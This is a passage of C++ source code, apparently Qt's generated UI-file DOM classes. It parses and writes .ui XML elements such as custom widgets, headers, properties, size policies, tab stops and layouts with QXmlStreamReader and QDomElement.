m_text = QLatin1String("");
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomImageData::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("imagedata") : tagName.toLower());
if (hasAttributeFormat())
writer.writeAttribute(QLatin1String("format"), attributeFormat());
if (hasAttributeLength())
writer.writeAttribute(QLatin1String("length"), QString::number(attributeLength()));
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomCustomWidgets::clear(bool clear_all)
{
qDeleteAll(m_customWidget);
m_customWidget.clear();
if (clear_all) {
m_text.clear();
}
m_children = 0;
}
DomCustomWidgets::DomCustomWidgets()
{
m_children = 0;
}
DomCustomWidgets::~DomCustomWidgets()
{
qDeleteAll(m_customWidget);
m_customWidget.clear();
}
void DomCustomWidgets::read(QXmlStreamReader &reader)
{
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QLatin1String("customwidget")) {
DomCustomWidget *v = new DomCustomWidget();
v->read(reader);
m_customWidget.append(v);
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomCustomWidgets::read(const QDomElement &node)
{
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QLatin1String("customwidget")) {
DomCustomWidget *v = new DomCustomWidget();
v->read(e);
m_customWidget.append(v);
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomCustomWidgets::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("customwidgets") : tagName.toLower());
for (int i = 0; i < m_customWidget.size(); ++i) {
DomCustomWidget* v = m_customWidget[i];
v->write(writer, QLatin1String("customwidget"));
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomCustomWidgets::setElementCustomWidget(const QList<DomCustomWidget*>& a)
{
m_children |= CustomWidget;
m_customWidget = a;
}
void DomHeader::clear(bool clear_all)
{
if (clear_all) {
m_text = QLatin1String("");
m_has_attr_location = false;
}
m_children = 0;
}
DomHeader::DomHeader()
{
m_children = 0;
m_has_attr_location = false;
m_text = QLatin1String("");
}
DomHeader::~DomHeader()
{
}
void DomHeader::read(QXmlStreamReader &reader)
{
foreach (const QXmlStreamAttribute &attribute, reader.attributes()) {
QStringRef name = attribute.name();
if (name == QLatin1String("location")) {
setAttributeLocation(attribute.value().toString());
continue;
}
reader.raiseError(QLatin1String("Unexpected attribute ") + name.toString());
}
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomHeader::read(const QDomElement &node)
{
if (node.hasAttribute(QLatin1String("location")))
setAttributeLocation(node.attribute(QLatin1String("location")));
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
}
m_text = QLatin1String("");
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomHeader::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("header") : tagName.toLower());
if (hasAttributeLocation())
writer.writeAttribute(QLatin1String("location"), attributeLocation());
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomCustomWidget::clear(bool clear_all)
{
delete m_header;
delete m_sizeHint;
delete m_sizePolicy;
delete m_script;
delete m_properties;
delete m_slots;
delete m_propertyspecifications;
if (clear_all) {
m_text.clear();
}
m_children = 0;
m_header = 0;
m_sizeHint = 0;
m_container = 0;
m_sizePolicy = 0;
m_script = 0;
m_properties = 0;
m_slots = 0;
m_propertyspecifications = 0;
}
DomCustomWidget::DomCustomWidget()
{
m_children = 0;
m_header = 0;
m_sizeHint = 0;
m_container = 0;
m_sizePolicy = 0;
m_script = 0;
m_properties = 0;
m_slots = 0;
m_propertyspecifications = 0;
}
DomCustomWidget::~DomCustomWidget()
{
delete m_header;
delete m_sizeHint;
delete m_sizePolicy;
delete m_script;
delete m_properties;
delete m_slots;
delete m_propertyspecifications;
}
void DomCustomWidget::read(QXmlStreamReader &reader)
{
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QLatin1String("class")) {
setElementClass(reader.readElementText());
continue;
}
if (tag == QLatin1String("extends")) {
setElementExtends(reader.readElementText());
continue;
}
if (tag == QLatin1String("header")) {
DomHeader *v = new DomHeader();
v->read(reader);
setElementHeader(v);
continue;
}
if (tag == QLatin1String("sizehint")) {
DomSize *v = new DomSize();
v->read(reader);
setElementSizeHint(v);
continue;
}
if (tag == QLatin1String("addpagemethod")) {
setElementAddPageMethod(reader.readElementText());
continue;
}
if (tag == QLatin1String("container")) {
setElementContainer(reader.readElementText().toInt());
continue;
}
if (tag == QLatin1String("sizepolicy")) {
DomSizePolicyData *v = new DomSizePolicyData();
v->read(reader);
setElementSizePolicy(v);
continue;
}
if (tag == QLatin1String("pixmap")) {
setElementPixmap(reader.readElementText());
continue;
}
if (tag == QLatin1String("script")) {
DomScript *v = new DomScript();
v->read(reader);
setElementScript(v);
continue;
}
if (tag == QLatin1String("properties")) {
DomProperties *v = new DomProperties();
v->read(reader);
setElementProperties(v);
continue;
}
if (tag == QLatin1String("slots")) {
DomSlots *v = new DomSlots();
v->read(reader);
setElementSlots(v);
continue;
}
if (tag == QLatin1String("propertyspecifications")) {
DomPropertySpecifications *v = new DomPropertySpecifications();
v->read(reader);
setElementPropertyspecifications(v);
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomCustomWidget::read(const QDomElement &node)
{
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QLatin1String("class")) {
setElementClass(e.text());
continue;
}
if (tag == QLatin1String("extends")) {
setElementExtends(e.text());
continue;
}
if (tag == QLatin1String("header")) {
DomHeader *v = new DomHeader();
v->read(e);
setElementHeader(v);
continue;
}
if (tag == QLatin1String("sizehint")) {
DomSize *v = new DomSize();
v->read(e);
setElementSizeHint(v);
continue;
}
if (tag == QLatin1String("addpagemethod")) {
setElementAddPageMethod(e.text());
continue;
}
if (tag == QLatin1String("container")) {
setElementContainer(e.text().toInt());
continue;
}
if (tag == QLatin1String("sizepolicy")) {
DomSizePolicyData *v = new DomSizePolicyData();
v->read(e);
setElementSizePolicy(v);
continue;
}
if (tag == QLatin1String("pixmap")) {
setElementPixmap(e.text());
continue;
}
if (tag == QLatin1String("script")) {
DomScript *v = new DomScript();
v->read(e);
setElementScript(v);
continue;
}
if (tag == QLatin1String("properties")) {
DomProperties *v = new DomProperties();
v->read(e);
setElementProperties(v);
continue;
}
if (tag == QLatin1String("slots")) {
DomSlots *v = new DomSlots();
v->read(e);
setElementSlots(v);
continue;
}
if (tag == QLatin1String("propertyspecifications")) {
DomPropertySpecifications *v = new DomPropertySpecifications();
v->read(e);
setElementPropertyspecifications(v);
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomCustomWidget::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("customwidget") : tagName.toLower());
if (m_children & Class) {
writer.writeTextElement(QLatin1String("class"), m_class);
}
if (m_children & Extends) {
writer.writeTextElement(QLatin1String("extends"), m_extends);
}
if (m_children & Header) {
m_header->write(writer, QLatin1String("header"));
}
if (m_children & SizeHint) {
m_sizeHint->write(writer, QLatin1String("sizehint"));
}
if (m_children & AddPageMethod) {
writer.writeTextElement(QLatin1String("addpagemethod"), m_addPageMethod);
}
if (m_children & Container) {
writer.writeTextElement(QLatin1String("container"), QString::number(m_container));
}
if (m_children & SizePolicy) {
m_sizePolicy->write(writer, QLatin1String("sizepolicy"));
}
if (m_children & Pixmap) {
writer.writeTextElement(QLatin1String("pixmap"), m_pixmap);
}
if (m_children & Script) {
m_script->write(writer, QLatin1String("script"));
}
if (m_children & Properties) {
m_properties->write(writer, QLatin1String("properties"));
}
if (m_children & Slots) {
m_slots->write(writer, QLatin1String("slots"));
}
if (m_children & Propertyspecifications) {
m_propertyspecifications->write(writer, QLatin1String("propertyspecifications"));
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomCustomWidget::setElementClass(const QString& a)
{
m_children |= Class;
m_class = a;
}
void DomCustomWidget::setElementExtends(const QString& a)
{
m_children |= Extends;
m_extends = a;
}
DomHeader* DomCustomWidget::takeElementHeader()
{
DomHeader* a = m_header;
m_header = 0;
m_children ^= Header;
return a;
}
void DomCustomWidget::setElementHeader(DomHeader* a)
{
delete m_header;
m_children |= Header;
m_header = a;
}
DomSize* DomCustomWidget::takeElementSizeHint()
{
DomSize* a = m_sizeHint;
m_sizeHint = 0;
m_children ^= SizeHint;
return a;
}
void DomCustomWidget::setElementSizeHint(DomSize* a)
{
delete m_sizeHint;
m_children |= SizeHint;
m_sizeHint = a;
}
void DomCustomWidget::setElementAddPageMethod(const QString& a)
{
m_children |= AddPageMethod;
m_addPageMethod = a;
}
void DomCustomWidget::setElementContainer(int a)
{
m_children |= Container;
m_container = a;
}
DomSizePolicyData* DomCustomWidget::takeElementSizePolicy()
{
DomSizePolicyData* a = m_sizePolicy;
m_sizePolicy = 0;
m_children ^= SizePolicy;
return a;
}
void DomCustomWidget::setElementSizePolicy(DomSizePolicyData* a)
{
delete m_sizePolicy;
m_children |= SizePolicy;
m_sizePolicy = a;
}
void DomCustomWidget::setElementPixmap(const QString& a)
{
m_children |= Pixmap;
m_pixmap = a;
}
DomScript* DomCustomWidget::takeElementScript()
{
DomScript* a = m_script;
m_script = 0;
m_children ^= Script;
return a;
}
void DomCustomWidget::setElementScript(DomScript* a)
{
delete m_script;
m_children |= Script;
m_script = a;
}
DomProperties* DomCustomWidget::takeElementProperties()
{
DomProperties* a = m_properties;
m_properties = 0;
m_children ^= Properties;
return a;
}
void DomCustomWidget::setElementProperties(DomProperties* a)
{
delete m_properties;
m_children |= Properties;
m_properties = a;
}
DomSlots* DomCustomWidget::takeElementSlots()
{
DomSlots* a = m_slots;
m_slots = 0;
m_children ^= Slots;
return a;
}
void DomCustomWidget::setElementSlots(DomSlots* a)
{
delete m_slots;
m_children |= Slots;
m_slots = a;
}
DomPropertySpecifications* DomCustomWidget::takeElementPropertyspecifications()
{
DomPropertySpecifications* a = m_propertyspecifications;
m_propertyspecifications = 0;
m_children ^= Propertyspecifications;
return a;
}
void DomCustomWidget::setElementPropertyspecifications(DomPropertySpecifications* a)
{
delete m_propertyspecifications;
m_children |= Propertyspecifications;
m_propertyspecifications = a;
}
void DomCustomWidget::clearElementClass()
{
m_children &= ~Class;
}
void DomCustomWidget::clearElementExtends()
{
m_children &= ~Extends;
}
void DomCustomWidget::clearElementHeader()
{
delete m_header;
m_header = 0;
m_children &= ~Header;
}
void DomCustomWidget::clearElementSizeHint()
{
delete m_sizeHint;
m_sizeHint = 0;
m_children &= ~SizeHint;
}
void DomCustomWidget::clearElementAddPageMethod()
{
m_children &= ~AddPageMethod;
}
void DomCustomWidget::clearElementContainer()
{
m_children &= ~Container;
}
void DomCustomWidget::clearElementSizePolicy()
{
delete m_sizePolicy;
m_sizePolicy = 0;
m_children &= ~SizePolicy;
}
void DomCustomWidget::clearElementPixmap()
{
m_children &= ~Pixmap;
}
void DomCustomWidget::clearElementScript()
{
delete m_script;
m_script = 0;
m_children &= ~Script;
}
void DomCustomWidget::clearElementProperties()
{
delete m_properties;
m_properties = 0;
m_children &= ~Properties;
}
void DomCustomWidget::clearElementSlots()
{
delete m_slots;
m_slots = 0;
m_children &= ~Slots;
}
void DomCustomWidget::clearElementPropertyspecifications()
{
delete m_propertyspecifications;
m_propertyspecifications = 0;
m_children &= ~Propertyspecifications;
}
void DomProperties::clear(bool clear_all)
{
qDeleteAll(m_property);
m_property.clear();
if (clear_all) {
m_text.clear();
}
m_children = 0;
}
DomProperties::DomProperties()
{
m_children = 0;
}
DomProperties::~DomProperties()
{
qDeleteAll(m_property);
m_property.clear();
}
void DomProperties::read(QXmlStreamReader &reader)
{
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QLatin1String("property")) {
DomPropertyData *v = new DomPropertyData();
v->read(reader);
m_property.append(v);
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomProperties::read(const QDomElement &node)
{
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QLatin1String("property")) {
DomPropertyData *v = new DomPropertyData();
v->read(e);
m_property.append(v);
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomProperties::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("properties") : tagName.toLower());
for (int i = 0; i < m_property.size(); ++i) {
DomPropertyData* v = m_property[i];
v->write(writer, QLatin1String("property"));
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomProperties::setElementProperty(const QList<DomPropertyData*>& a)
{
m_children |= Property;
m_property = a;
}
void DomPropertyData::clear(bool clear_all)
{
if (clear_all) {
m_text.clear();
m_has_attr_type = false;
}
m_children = 0;
}
DomPropertyData::DomPropertyData()
{
m_children = 0;
m_has_attr_type = false;
}
DomPropertyData::~DomPropertyData()
{
}
void DomPropertyData::read(QXmlStreamReader &reader)
{
foreach (const QXmlStreamAttribute &attribute, reader.attributes()) {
QStringRef name = attribute.name();
if (name == QLatin1String("type")) {
setAttributeType(attribute.value().toString());
continue;
}
reader.raiseError(QLatin1String("Unexpected attribute ") + name.toString());
}
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomPropertyData::read(const QDomElement &node)
{
if (node.hasAttribute(QLatin1String("type")))
setAttributeType(node.attribute(QLatin1String("type")));
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomPropertyData::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("propertydata") : tagName.toLower());
if (hasAttributeType())
writer.writeAttribute(QLatin1String("type"), attributeType());
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomSizePolicyData::clear(bool clear_all)
{
if (clear_all) {
m_text.clear();
}
m_children = 0;
m_horData = 0;
m_verData = 0;
}
DomSizePolicyData::DomSizePolicyData()
{
m_children = 0;
m_horData = 0;
m_verData = 0;
}
DomSizePolicyData::~DomSizePolicyData()
{
}
void DomSizePolicyData::read(QXmlStreamReader &reader)
{
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QLatin1String("hordata")) {
setElementHorData(reader.readElementText().toInt());
continue;
}
if (tag == QLatin1String("verdata")) {
setElementVerData(reader.readElementText().toInt());
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomSizePolicyData::read(const QDomElement &node)
{
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QLatin1String("hordata")) {
setElementHorData(e.text().toInt());
continue;
}
if (tag == QLatin1String("verdata")) {
setElementVerData(e.text().toInt());
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomSizePolicyData::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("sizepolicydata") : tagName.toLower());
if (m_children & HorData) {
writer.writeTextElement(QLatin1String("hordata"), QString::number(m_horData));
}
if (m_children & VerData) {
writer.writeTextElement(QLatin1String("verdata"), QString::number(m_verData));
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomSizePolicyData::setElementHorData(int a)
{
m_children |= HorData;
m_horData = a;
}
void DomSizePolicyData::setElementVerData(int a)
{
m_children |= VerData;
m_verData = a;
}
void DomSizePolicyData::clearElementHorData()
{
m_children &= ~HorData;
}
void DomSizePolicyData::clearElementVerData()
{
m_children &= ~VerData;
}
void DomLayoutDefault::clear(bool clear_all)
{
if (clear_all) {
m_text.clear();
m_has_attr_spacing = false;
m_attr_spacing = 0;
m_has_attr_margin = false;
m_attr_margin = 0;
}
m_children = 0;
}
DomLayoutDefault::DomLayoutDefault()
{
m_children = 0;
m_has_attr_spacing = false;
m_attr_spacing = 0;
m_has_attr_margin = false;
m_attr_margin = 0;
}
DomLayoutDefault::~DomLayoutDefault()
{
}
void DomLayoutDefault::read(QXmlStreamReader &reader)
{
foreach (const QXmlStreamAttribute &attribute, reader.attributes()) {
QStringRef name = attribute.name();
if (name == QLatin1String("spacing")) {
setAttributeSpacing(attribute.value().toString().toInt());
continue;
}
if (name == QLatin1String("margin")) {
setAttributeMargin(attribute.value().toString().toInt());
continue;
}
reader.raiseError(QLatin1String("Unexpected attribute ") + name.toString());
}
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomLayoutDefault::read(const QDomElement &node)
{
if (node.hasAttribute(QLatin1String("spacing")))
setAttributeSpacing(node.attribute(QLatin1String("spacing")).toInt());
if (node.hasAttribute(QLatin1String("margin")))
setAttributeMargin(node.attribute(QLatin1String("margin")).toInt());
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomLayoutDefault::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("layoutdefault") : tagName.toLower());
if (hasAttributeSpacing())
writer.writeAttribute(QLatin1String("spacing"), QString::number(attributeSpacing()));
if (hasAttributeMargin())
writer.writeAttribute(QLatin1String("margin"), QString::number(attributeMargin()));
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomLayoutFunction::clear(bool clear_all)
{
if (clear_all) {
m_text.clear();
m_has_attr_spacing = false;
m_has_attr_margin = false;
}
m_children = 0;
}
DomLayoutFunction::DomLayoutFunction()
{
m_children = 0;
m_has_attr_spacing = false;
m_has_attr_margin = false;
}
DomLayoutFunction::~DomLayoutFunction()
{
}
void DomLayoutFunction::read(QXmlStreamReader &reader)
{
foreach (const QXmlStreamAttribute &attribute, reader.attributes()) {
QStringRef name = attribute.name();
if (name == QLatin1String("spacing")) {
setAttributeSpacing(attribute.value().toString());
continue;
}
if (name == QLatin1String("margin")) {
setAttributeMargin(attribute.value().toString());
continue;
}
reader.raiseError(QLatin1String("Unexpected attribute ") + name.toString());
}
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomLayoutFunction::read(const QDomElement &node)
{
if (node.hasAttribute(QLatin1String("spacing")))
setAttributeSpacing(node.attribute(QLatin1String("spacing")));
if (node.hasAttribute(QLatin1String("margin")))
setAttributeMargin(node.attribute(QLatin1String("margin")));
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomLayoutFunction::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("layoutfunction") : tagName.toLower());
if (hasAttributeSpacing())
writer.writeAttribute(QLatin1String("spacing"), attributeSpacing());
if (hasAttributeMargin())
writer.writeAttribute(QLatin1String("margin"), attributeMargin());
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomTabStops::clear(bool clear_all)
{
m_tabStop.clear();
if (clear_all) {
m_text.clear();
}
m_children = 0;
}
DomTabStops::DomTabStops()
{
m_children = 0;
}
DomTabStops::~DomTabStops()
{
m_tabStop.clear();
}
void DomTabStops::read(QXmlStreamReader &reader)
{
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QLatin1String("tabstop")) {
m_tabStop.append(reader.readElementText());
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomTabStops::read(const QDomElement &node)
{
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QLatin1String("tabstop")) {
m_tabStop.append(e.text());
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomTabStops::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("tabstops") : tagName.toLower());
for (int i = 0; i < m_tabStop.size(); ++i) {
QString v = m_tabStop[i];
writer.writeTextElement(QLatin1String("tabstop"), v);
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomTabStops::setElementTabStop(const QStringList& a)
{
m_children |= TabStop;
m_tabStop = a;
}
void DomLayout::clear(bool clear_all)
{
qDeleteAll(m_property);
m_property.clear();
qDeleteAll(m_attribute);
m_attribute.clear();
qDeleteAll(m_item);
m_item.clear();
if (clear_all) {
m_text.clear();
m_has_attr_class = false;
m_has_attr_name = false;
m_has_attr_stretch = false;
m_has_attr_rowStretch = false;
m_has_attr_columnStretch = false;
m_has_attr_rowMinimumHeight = false;
m_has_attr_columnMinimumWidth = false;
}
m_children = 0;
}
DomLayout::DomLayout()
{
m_children = 0;
m_has_attr_class = false;
m_has_attr_name = false;
m_has_attr_stretch = false;
m_has_attr_rowStretch = false;
m_has_attr_columnStretch = false;
m_has_attr_rowMinimumHeight = false;
m_has_attr_columnMinimumWidth = false;
}
DomLayout::~DomLayout()
{
qDeleteAll(m_property);
m_property.clear();
qDeleteAll(m_attribute);
m_attribute.clear();
qDeleteAll(m_item);
m_item.clear();
}
void DomLayout::read(QXmlStreamReader &reader)
{
foreach (const QXmlStreamAttribute &attribute, reader.attributes()) {
QStringRef name = attribute.name();
if (name == QLatin1String("class")) {
setAttributeClass(attribute.value().toString());
continue;
}
if (name == QLatin1String("name")) {
setAttributeName(attribute.value().toString());
continue;
}
if (name == QLatin1String("stretch")) {
setAttributeStretch(attribute.value().toString());
continue;
}
if (name == QLatin1String("rowstretch")) {
setAttributeRowStretch(attribute.value().toString());
continue;
}
if (name == QLatin1String("columnstretch")) {
setAttributeColumnStretch(attribute.value().toString());
continue;
}
if (name == QLatin1String("rowminimumheight")) {
setAttributeRowMinimumHeight(attribute.value().toString());
continue;
}
if (name == QLatin1String("columnminimumwidth")) {
setAttributeColumnMinimumWidth(attribute.value().toString());
continue;
}
reader.raiseError(QLatin1String("Unexpected attribute ") + name.toString());
}
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QLatin1String("property")) {
DomProperty *v = new DomProperty();
v->read(reader);
m_property.append(v);
continue;
}
if (tag == QLatin1String("attribute")) {
DomProperty *v = new DomProperty();
v->read(reader);
m_attribute.append(v);
continue;
}
if (tag == QLatin1String("item")) {
DomLayoutItem *v = new DomLayoutItem();
v->read(reader);
m_item.append(v);
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomLayout::read(const QDomElement &node)
{
if (node.hasAttribute(QLatin1String("class")))
setAttributeClass(node.attribute(QLatin1String("class")));
if (node.hasAttribute(QLatin1String("name")))
setAttributeName(node.attribute(QLatin1String("name")));
if (node.hasAttribute(QLatin1String("stretch")))
setAttributeStretch(node.attribute(QLatin1String("stretch")));
if (node.hasAttribute(QLatin1String("rowstretch")))
setAttributeRowStretch(node.attribute(QLatin1String("rowstretch")));
if (node.hasAttribute(QLatin1String("columnstretch")))
setAttributeColumnStretch(node.attribute(QLatin1String("columnstretch")));
if (node.hasAttribute(QLatin1String("rowminimumheight")))
setAttributeRowMinimumHeight(node.attribute(QLatin1String("rowminimumheight")));
if (node.hasAttribute(QLatin1String("columnminimumwidth")))
setAttributeColumnMinimumWidth(node.attribute(QLatin1String("columnminimumwidth")));
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QLatin1String("property")) {
DomProperty *v = new DomProperty();
v->read(e);
m_property.append(v);
continue;
}
if (tag == QLatin1String("attribute")) {
DomProperty *v = new DomProperty();
v->read(e);
m_attribute.append(v);
continue;
}
if (tag == QLatin1String("item")) {
DomLayoutItem *v = new DomLayoutItem();
v->read(e);
m_item.append(v);
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomLayout::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("layout") : tagName.toLower());
if (hasAttributeClass())
writer.writeAttribute(QLatin1String("class"), attributeClass());
if (hasAttributeName())
writer.writeAttribute(QLatin1String("name"), attributeName());
if (hasAttributeStretch())
writer.writeAttribute(QLatin1String("stretch"), attributeStretch());
if (hasAttributeRowStretch())
writer.writeAttribute(QLatin1String("rowstretch"), attributeRowStretch());
if (hasAttributeColumnStretch())
